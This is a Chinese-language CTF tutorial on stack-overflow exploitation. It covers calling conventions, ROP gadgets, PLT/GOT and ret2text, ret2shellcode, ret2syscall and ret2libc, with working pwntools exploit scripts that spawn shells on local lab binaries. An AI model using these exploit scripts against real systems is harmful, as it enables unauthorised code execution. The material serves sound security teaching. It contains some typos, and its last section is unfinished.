前言

pwn一直都是一件难以搞懂的事情,今天跟着前辈的脚步一起来学习一下

正文

定义

PWN也可译为二进制漏洞挖掘,在CTF比赛中,PWN题的目标是拿到flag,一般是在linux平台下通过二进制/系统调用等方式编写漏洞利用脚本exp来获取对方服务器的shell,然后get到flag。总体的pwn要学很多,是个庞大的系统

pwn

基础知识

不标识默认为x86架构

寄存器:

1
2
3
4
5
6
7
8
9
10
x86:
通用寄存器
eax,ebx,ecx,edx
索引寄存器
esi,edl
堆栈指针寄存器
esp(栈顶),ebp(栈底不移动,通常用它做偏移计算)
函数参数传递通过栈传递,数据一般从右往左被依次压入栈中
例如:
int function (int a,int b,int c ){ } 参数cba依次入栈,a在栈上层
1
2
3
4
5
x86-64:
rdi,rsi,rdx,rcx,r8,r9
函数参数传递通过寄存器传递
参数先找这6个寄存器传递,当参数多于6个时,第7个开始也使用栈传递,和x86一样

例如:同一个函数my_fun(0,1,2,3,4,5,6)

1
2
3
4
5
6
7
8
9
10
32位程序处理:
push 6
push 5
push 4
push 3
push 2
push 1
push 0
call my_fun
从右往左被依次压入栈中
1
2
3
4
5
6
7
8
9
10
11
12
13
64位程序处理:
push 6
mov r9d, 5
mov r8d, 4
mov ecx, 3
mov edx, 2
mov esi, 1
mov edi, 0
call my_fun

可以看到函数的前6个参数都会放到寄存器里面,从左到右对应的是
rdi, rsi, rdx, rcx, r8d, r9d
如果还有更多参数的话,就会通过栈来传递

再看另一个程序read(0,buf,0x100)

1
2
3
4
5
6
7
32位程序处理:
.text:08048484 push 100h ; nbytes
.text:08048489 lea eax, [ebp+buf]
.text:0804848C push eax ; buf
.text:0804848D push 0 ; fd
.text:0804848F call _read
可以看到参数是从右到左入栈,先push 0x100,再push buf,最后push 0
1
2
3
4
5
6
7
64位程序处理:
lea rax, [rbp+buf]
mov edx, 100h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
可以看到使用的是寄存器

大小端

数据位:0x00123左高右低(符合数字阅读习惯)

内存地址:下高上低

1
2
3
大端序:高数据位存放在低地址(大尾)

小端序:高数据位存放在高地址(小尾)(更符合习惯)

小端序也为攻击提供了便利,例如:0x0001234栈溢出时从低地址覆盖,就会读取到0x1234。而如果是大端序数据存放0x1234000,低地址是00所以存在0x00截断,是读不到0x1234

是一种先进后才的数据结构。在计算机里使用内存充当栈,这里使用内存中10000H~1000FH充当栈,

函数调用栈

来看一段代码

执行流程

简单的栈溢出:ret2text类型

输入脏数据,覆盖print_name函数的栈帧(ebp-14)的大小,然后接上system("/bin/sh")的地址,覆盖(复写)到返回地址ret_addr (pop eip)上,意思就是脏数据覆盖了设置的数组的大小和ebp,然后会被默认跳转到该地址上执行对应的函数

简单的栈溢出:ret2shellcode类型

shellcode集成网站Shellcodes database for study cases (shell-storm.org)

简单的栈溢出:ret2libc类型

PWN相关名词解释

ROP:

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章走进栈溢出,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

ret:

汇编指令。将栈顶字单元出栈,其值赋给IP寄存器。即实现了一个程序的转移,将栈顶字单元保存的偏移地址作为下一条指令的偏移地址。
简单说就是从栈顶弹出返回地址到EIP寄存器中,程序转到该地址处继续执行

gadgets:

英文译为”小工具”,在32位程序中用的比较少。对64位程序进行溢出时不能再使用32位的方法,单纯的将参数压入栈即可,不放进寄存器直接执行函数显然不能达到目的,因此就需要一段代码,帮助我们把自己的参数放进寄存器后再进入函数,这段代码就是gadget

我们可以使用ROPgatgets工具查找
ROPgadget –binary ./pwn –only “pop|ret”

一般长这样:

所以 所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
这些gadgets一般遵循以下的形式:

1
2
3
xxx
xxx
ret

例如

1
2
pop ebp
ret
1
2
int 80h
ret

反正就是一堆指令后面跟着ret,但是比较常见和常用的就是

1
2
pop xxx
ret

plt表和got表

linux下的动态链接是通过PLT&GOT来实现的

plt表:

(Procedure Linkage Table)程序链接表

不是数据,而是用来获取数据段内的函数地址的一小段代码,位于代码段
可执行文件里保存着plt表的地址

got表:

(Global Offset Table)全局偏移表

概念:每一个外部定义的符号*在全局偏移表(Global offset Table*)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。是存放函数地址的数据段

在动态链接技术里,程序的函数不会一开始就全部加载,而是在程序执行时才会加载,内存耗费小。

可执行文件存放着plt表的地址 –>plt表指向got地址 –> got表指向函数地址,相当于间接寻址的过程。但是真正的过程要稍微长一些。

当第一次加载需要用的函数时,plt会跳到这样一个函数_dl_runtimw_resolve(重定位函数),这个函数会到glibc库中加载函数的地址并写到got表中,随后再次调用指令以实现函数的调用。其中got表第一次被用到时并没有所需函数的地址,而是在_dl_runtimw_resolve函数执行后才被写入了所需函数的地址,这个过程也叫做延时加载或者惰性加载

注意got表:
got[0]: 本 ELF 动态段(dynamic 段)的装载地址
got[1]: 本EL的 link_map 数据结构描述符地址
got[2]: _dl_runtimeresolve 函数的地址
动态链接器在加载完ELF之后,都会将这3地址写到GOT 表的前3项

下面跟着大佬的流程图来走一遍:

之后如果需要再次使用该函数,过程是这样的:

签到题简单的ROP

ret2xxx系列简介

PWNret2xxx泛指的是ret2text, ret2shellcode, ret2syscall, ret2libc, ret2csu 其中 ret2代表着英文中的”return to” 的谐音,也就是我们可以从字面意思上知道。

ret2text:

说白了就是对于.text节的利用 我们会使用几个程序中已有的代码来进行攻击,比如进程存在危险函数如system(“/bin”)或execv(“/bin/sh”,0,0)的片段,可以直接劫持返回地址到目标函数地址上。从而getshell。

ret2shellcode:

控制程序执行 shellcode 代码 shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell 一般来说 shellcode 需要我们自己填充

ret2syscall:

顾名思义,是指通过系统调用来得到shell

ret2libc

控制函数的执行libc中的函数,通常是返回至某个函数的plt 处或者函数的具体位置(即函数对应的got 表项的内容)。一般情况下,我们会选择执行system(“/bin/sh”),故而此时我们需要知道system函数的地址。
libc是Linux下的ANSI C的函数库。ANSI C是基本的C语言函数库,包含了C语言最基本的库函数。这个库可以根据 头文件划分为 15 个部分,其中包括:字符类型 ()、错误码()、 浮点常数 ()、数学常数 ()、标准定义 ()、 标准 I/O ()、工具函数 ()、字符串操作 ()、 时间和日期 ()、可变参数表 ()、信号 ()、 非局部跳转 ()、本地信息 ()、程序断言 ()也就是说 libc中存放的都是使用过的函数 字符串等

ret2csu

在64 位程序中,函数的前6个参数是通过寄存器传递的 但是大多数时候 我们很难找到每一个寄存器对应的gadgets 这时候 我们可以利用 x64下的 __libc_csu_init 中的 gadgets 这个函数是用来对 libc 进行初始化操作的 而一般的程序都会调用libc 函数 所以这个函数一定会存在

ret2text

程序执行自带的代码

1.使用 checksec 查看信息,32位程序,存在NX保护,这样shellcode不可执行

2.使用 ida32 打开,发现存在gets()函数(gets函数是一个危险函数。因为它不检查输入的字符串长度,而是以回车来判断结束,因此容易导致栈溢出漏洞的产生。)
还有一个secure()函数,里面包含system("/bin/sh"),一旦执行即可获取系统的shell

3.所以现在的思路是使用system("/bin/sh")的地址去覆盖程序的返回地址。使用gdb打开程序gdb ret2text,另起终端使用cyclic 200生成200个字符(工具会给字符顺序),gdb先执行run命令使程序运行起来,然后输入刚刚的200个字符回车使程序执行。

4.程序报错,说明了出错的地方在两百个字符的0x62616164处,看他报错的意思是(跳转到0x62616164)这步出错了,意思就是没有0x62616164这个位置,那这个位置是从哪来的呢,就是我们200个有序字符其中最先溢出的第部分。那么只要知道这个0x62616164是我们输入的第几个,就可以数出来它前头有几个数字了。根据ASCII码表,又根据‘0x’是16进制的意思,可以查表得出这串数字转换成字母是‘baad’。接下来就要知道cyclic的顺序了,稍微观察一下就可以知道cyclic的规则(4个数4个数有规则),轻易的就可以数出它的位置。

当然还有更简单的方法,前文也说了cyclic是有序字符串,自然有一个子函数可以查,“cyclic -l”代表着查询你所给的4bit字符前有几个字母。

5.输入cyclic -l 0x62616164,得到112,说明‘baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。

6.找到要被执行的system("/bin/sh")的地址为0x0804863A

7.所以现在只需要填满112个字符然后接上目标代码的地址即可,编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
sh = process("./ret2text")
payload = 'a'*112 + p32(0x0804863A)
sh.sendline(payload)
sh.interactive()

或:

from pwn import *
sh=process('./ret2text')
elf=ELF('./ret2text')
target=0x0804863A
#即/bin/sh所在位置
sh.sendline('a'*112+p32(target))
#至此就获得了系统权限
sh.interactive()
#打开交互页面

8.退出gdb,python2输入python exp.py让程序运行我们的脚本

`

python3对字符的连接有要求,所以会报错TypeError: can only concatenate str (not “bytes“) to str,因为我们前面是字符串后面是字节,想要在python3下运行,要在字符串前加一个b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
sh = process("./ret2text") --打远程改为 sh=remote('ip', port, typ='协议') #第三个参数可选
payload =b'a'*112 + p32(0x0804863A)
sh.sendline(payload)
sh.interactive()

或:

from pwn import *
sh=process('./ret2text')
elf=ELF('./ret2text')
target=0x0804863A
#即/bin/sh所在位置
sh.sendline(b'a'*112+p32(target))
#至此就获得了系统权限
sh.interactive()
#打开交互页面

学习一下那些字母前缀的作用

字母 例子 作用
u u”我是含有中文字符组成的字符串。” 字符串以 Unicode 格式 进行编码,一般用在中文字符串前面,防止因为源码储存格式问题,导致再次使用时出现乱码
b response = b’Hello World!’ 。 b’ ‘ 表示这是一个 bytes 对象 b” “前缀表示:后面字符串是bytes 类型。网络编程中,服务器和浏览器只认bytes 类型数据。如:send 函数的参数和 recv 函数的返回值都是 bytes 类型。
r r”\n\t\n\t” 去掉反斜杠的转移机制,而不表示换行。常用于正则表达式,对应着re模块
f name = ‘Joy’
>>print(name is’{name}’)
>>>name is Joy
f 开头表示在字符串内支持大括号内的python 表达式

ret2shellcode

代码执行我们的二进制代码

1.首先使用 checksec 检查文件,32位程序,几乎没有做防护

2.拖入32位ida中,查看反编译后的main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;

我们发现了gets()函数,该函数不检查输入而是根据回车判断的,存在溢出。同时发现有strncpy(buf2, s, 0x64u)将s复制到了buf2中,双击buf2可以看到位于.bss段中,地址为0x0804A080

bss段属于静态内存分配。 bss是英文Block Started by Symbol的简称。
BSS段通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0,所以,未初始的全局变量在程序执行之前已经成0了。

3.使用gdb确认该段的可读写性

1
2
3
4
gdb ret2shellcode	#使用gdb
b main #在main下断点
r #运行程序
vmmap #查看栈、bss段是否可以执行

可以看到0x0804a000 0x0804b000 rwxp /home/mtrleed/桌面/1/ret2shellcode这是具有可读写性的,而0x0804A080也在该段内

4.使用cyclic生成字符填充,查看溢出位置为0x62616164

得到112,然后开始写exp,其中 shellcode 可以由 pwntools 生成

1
2
3
4
5
6
7
8
9
#coding=utf-8
from pwn import *
p = process("./ret2shellcode")
#由pwntools生成shellcode,然后通过asm转换成字节码
shellcode = asm(shellcraft.sh())
#ljust是向左对齐填充字节,这里是将shellcode填充完后,不足112长度的地方用a来填充
payload = shellcode.ljust(112, 'a') + p32(0x0804A080)
p.sendline(payload)
p.interactive()

运行之后获得交互式shell

ret2syscall

简单来说就是控制程序执行系统调用获取 shell

1.使用checksec查看信息,32位程序,开启了XN,是不能执行shellcode的

2.拖入32位ida查看main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

经典的gets()溢出漏洞

2.由于我们不能像之前一样直接利用程序中的某段代码或者自己填写代码拿到shell,所以需要利用程序中的 gadgets 来获得 shell
首先我们需要了解一下 Linux 的系统调用知识点:

Linux的系统调用通过 int 80h 实现,并且用系统调用号来区分入口的函数

调用流程如下:
1、将系统调用编号存入 eax 寄存器中
2、将函数的参数存入其他通用的寄存器(ebx、ecx、edx…)
2、触发 0x80 号中断

比如我们通过系统调用执行:execve("/bin/sh", NULL, NULL),如图所示

3.使用cyclic计算偏移量为112

4.系统调用号可以在线https://syscalls.w3challs.com/查看

其中,该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

32位系统为11(0xb),64位系统为59(0x3b)

接着我们使用 ROPgadget 工具开始寻找含有pop eax的指令地址,这里的都可以选这里我们选第二个

1
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'

接着寻找pop ebx的指令地址,可以发现在找pop ebx的过程中发现这个地址同时包含控制 ecx、edx 的操作

1
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'

接着寻找/bin/sh的地址,

1
ROPgadget --binary rop --string '/bin/sh'

还要找最后一个int 80h

1
ROPgadget --binary rop --only 'int'

现在地址都找齐了,就可以开始写exp了

1
2
3
4
5
6
7
8
9
10
11
#coding=utf-8
from pwn import *
p = process("./rop")
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080be408
int_80 = 0x08049421
#这里需要按照pop_edx_ecx_ebx的操作顺序来写,所以bin_sh在两个0后面
payload = 'a'*112 + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_80)
p.sendline(payload)
p.interactive()

运行exp获得交互式shell

ret2libc

ret2libc 简单来说就是使我们的 ret 不跳转到 vuln 或者 shellcode 上,而是跳转到了某个函数的 plt 或者该函数对应的 got 表内容,从而控制函数去执行 libc 中的函数,一般情况下使用system("/bin/sh")
在 wiki 中,一共给了三道题,分别对应不同情况

1
2
3
1、有system 有/bin/sh
2、有system 无/bin/sh
3、无system 无/bin/sh

有system有/bin/sh

首先是ret2libc1

checksec 检查一下文件,该文件为32位,开启了RELRONX保护

32为IDA打开

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

经典gets()栈溢出漏洞

发现存在system函数,地址是0x08048460

使用工具ROPgadget查找是否存在 /bin/sh 的地址

1
ROPgadget --binary ret2libc1 --string '/bin/sh'

存在/bin/sh

都找到地址后,开始计算溢出的偏移地址

老样子,使用cyclic生成200个字符,让程序运行报错

计算偏移为112

编写exp

1
2
3
4
5
6
7
8
9
#coding=utf-8
from pwn import *
p = process("./ret2libc1")
system_a = 0x08048460
bin_sh_a = 0x08048720
#因为是调用system函数,所以需要给一个返回地址,我们随意写一个虚假的地址即可
payload = 'a'*112 + p32(system_a) + 'b'*4 + p32(bin_sh_a) #python3 要在'a'和'b'前加个b,表示转换为byte类型
p.sendline(payload)
p.interactive()

成功获得shell

有system 无/bin/sh

checksec检查文件,32位开启NX保护,不能执行shellcode

IDA查看文件内容,还是gets()栈溢出

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(s);
return 0;
}

存在system函数地址为0x08048490,但是不存在/bin/sh

但是main函数中存在getsplt表中也存在gets

所以思路就是,如果 bss 段可写,我们就通过 gets 接收我们输入的/bin/sh字符串,然后写入到 bss 段中,接着跳转到 system 函数中执行,整个流程图如图所示

我们先去看一下 bss 段地址,是否有写权限,从0804A040开始

gdb:b main 打断点->r 运行 -> vmmap查看各段权限。可以看到bss段有写权限

由之前的方法算出栈空间大小为112,可以写exp了

1
2
3
4
5
6
7
8
9
10
11
#coding=utf-8
from pwn import *
p = process("./ret2libc2")
get_addr = 0x08048460
sys_addr = 0x08048490
bss_addr = 0x0804A080
#因为/bin/sh是写到bss段中,所以地址一样
payload = b'a'*112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()

获得shell

无system 无/bin/sh

checksec检查文件

IDA打开文件,shift+F12查看字符串,没有发现system和/bin/sh

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}

同样是gets()栈溢出

没有 system 也没有 /bin/sh,需要使用 libc 中的 system 和 /bin/sh,知道了libc中的一个函数的地址就可以确定该程序利用的 libc,从而知道其他函数的地址

获得 libc 的某个函数的地址通常采用的方法是:通过 got 表泄露,但是由于libc的延迟绑定,需要泄露的是已经执行过的函数的地址,执行过一遍的地址才能确认

总的来说:

1、通过第一次溢出,通过将 puts 的 PLT 地址放到返回处,泄漏出执行过的函数的 GOT 地址(实际上 puts 的就可以)

2、将 puts 的返回地址设置为 start 函数(main () 函数是用户代码的入口,是对用户而言的;而_start () 函数是系统代码的入口,是程序真正的入口),方便再次用来执行 system(‘/bin/sh’)

3、通过泄露的函数的 GOT 地址计算出 libc 中的 system 和 /bin/sh 的地址

4、再次通过溢出将返回地址覆盖成泄露出来的 system 的地址 getshell

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#coding=utf-8
from pwn import *
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
#从程序中获取puts的plt和got以及_start地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
#第一次栈溢出,puts函数输出puts_got,即got的地址
payload_1 = 'a'*112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
p.sendlineafter("Can you find it !?",payload_1)
puts_addr = u32(p.recv(4))
#使用题目的libc
libc = elf.libc
libcbase = puts_addr - libc.symbols['puts']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search('/bin/sh'))
#第二次栈溢出,执行system('/bin/sh')
payload_2 = 'a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr)
p.sendlineafter("Can you find it !?", payload_2)
p.interactive()

执行获得shell。python3报错太多,最终使用python3执行

上面说的都是32位程序,而在64位程序中函数的调用栈是不同的,这也是我们写 payload 时需要注意的地方

  • 32位程序
    • 函数参数函数返回地址 的上方
  • 64位程序
    • 采用寄存器传参,所以我们需要覆盖寄存器
    • 前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中
    • 内存地址不能大于 0x00007FFFFFFFFFFF, 6 个字节长度 ,否则会抛出异常。

ret2csu(中级ROP 64位)

未完待续。。。。。。。佛系更新